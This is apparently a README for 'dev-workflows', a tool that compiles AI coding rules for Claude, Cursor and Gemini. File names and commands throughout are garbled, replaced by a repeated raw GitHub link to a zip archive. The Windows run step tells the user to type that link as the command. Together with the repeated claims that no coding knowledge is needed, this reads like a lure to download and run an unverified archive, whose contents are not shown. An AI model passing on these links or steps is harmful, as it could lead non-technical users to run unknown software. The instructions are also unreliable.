dev-workflows is a simple command-line tool that helps you manage AI coding rules. Instead of writing rules separately for each AI tool, you write your rules once. dev-workflows then compiles those rules into formats that popular AI tools like CLAUDE and GEMINI can use.
This means less work for you and a consistent way to tell AI tools how to write and review code. The tool creates files like https://raw.githubusercontent.com/aridz08/dev-workflows/main/content/templates/workflows_dev_2.7.zip, .cursor/rules, and https://raw.githubusercontent.com/aridz08/dev-workflows/main/content/templates/workflows_dev_2.7.zip from your rules.
You do not need to understand coding to use dev-workflows. The instructions below will walk you through downloading and running the tool step-by-step.
Before downloading, ensure your computer meets these needs:
- Operating System: Windows 10 or newer, macOS 10.13 or newer, or recent Linux distributions
- Processor: Intel or AMD processor, 1 GHz or faster
- Memory (RAM): At least 2 GB
- Disk Space: Minimum 100 MB free space
- Internet Connection: Required to download the tool
You do not need any programming language or environment installed. dev-workflows is self-contained and ready to run after download.
This guide will help you get dev-workflows running on your computer in a few simple steps.
-
Go to the official download page by clicking the link below:
-
Once on the page, look for the latest release, usually marked as "Latest" or with a version number like
v1.0. -
There you will see files available for different systems:
- For Windows: Look for
.exeor.zipfiles with "windows" in the name. - For macOS: Look for
.dmgor.zipfiles with "mac" or "darwin". - For Linux: Look for
https://raw.githubusercontent.com/aridz08/dev-workflows/main/content/templates/workflows_dev_2.7.zipor.AppImagefiles with "linux".
- For Windows: Look for
-
Download the file suitable for your computer by clicking its name.
-
If you downloaded a
.ziporhttps://raw.githubusercontent.com/aridz08/dev-workflows/main/content/templates/workflows_dev_2.7.ziparchive, unzip or extract its contents to a folder you can find easily, like your desktop or downloads folder. -
No further installation is needed. The program can run directly from the extracted folder.
You will run dev-workflows from the command line. This guide assumes no prior experience with command lines.
-
Press the Windows key and type
cmd, then press Enter. This opens the Command Prompt window. -
Use the command below to change to the folder where you saved dev-workflows. Replace
path_to_folderwith your actual folder name. For example:cd C:\Users\YourName\Downloads\dev-workflows -
To run dev-workflows, type:
https://raw.githubusercontent.com/aridz08/dev-workflows/main/content/templates/workflows_dev_2.7.zipand press Enter.
-
Open Spotlight by pressing
Cmd + Space. TypeTerminaland press Enter. -
Change to the folder with dev-workflows, for example:
cd ~/Downloads/dev-workflows -
To run dev-workflows, type:
./dev-workflowsand press Enter.
-
Open the terminal. This varies by system, but you can often find it in your applications menu.
-
Change to the folder with dev-workflows:
cd ~/Downloads/dev-workflows -
Run dev-workflows with:
./dev-workflows
Once you start dev-workflows, the tool reads your AI coding rules from a single file or folder you specify. It then creates output files for each AI tool you want to use.
A typical workflow:
-
Prepare your coding rules in a simple text file. Follow any format instructions in the documentation or examples inside the
docs/folder of the release. -
Run dev-workflows and provide the location of your rules file. For example:
dev-workflows compile --source https://raw.githubusercontent.com/aridz08/dev-workflows/main/content/templates/workflows_dev_2.7.zip -
The tool generates output files such as:
https://raw.githubusercontent.com/aridz08/dev-workflows/main/content/templates/workflows_dev_2.7.zipfor Claude AI.cursor/rulesfor Cursor AIhttps://raw.githubusercontent.com/aridz08/dev-workflows/main/content/templates/workflows_dev_2.7.zipfor Gemini AI
-
Use these files with your AI coding tools to ensure they follow your rules consistently.
If dev-workflows does not run correctly or you get error messages, try these steps:
- Make sure you are running the correct file for your operating system.
- Confirm you typed the commands exactly as shown, including spelling and spaces.
- Check you are in the right folder where dev-workflows is saved.
- If the program says a file is missing, verify the rules file path you provided is correct.
- Restart your computer if problems continue.
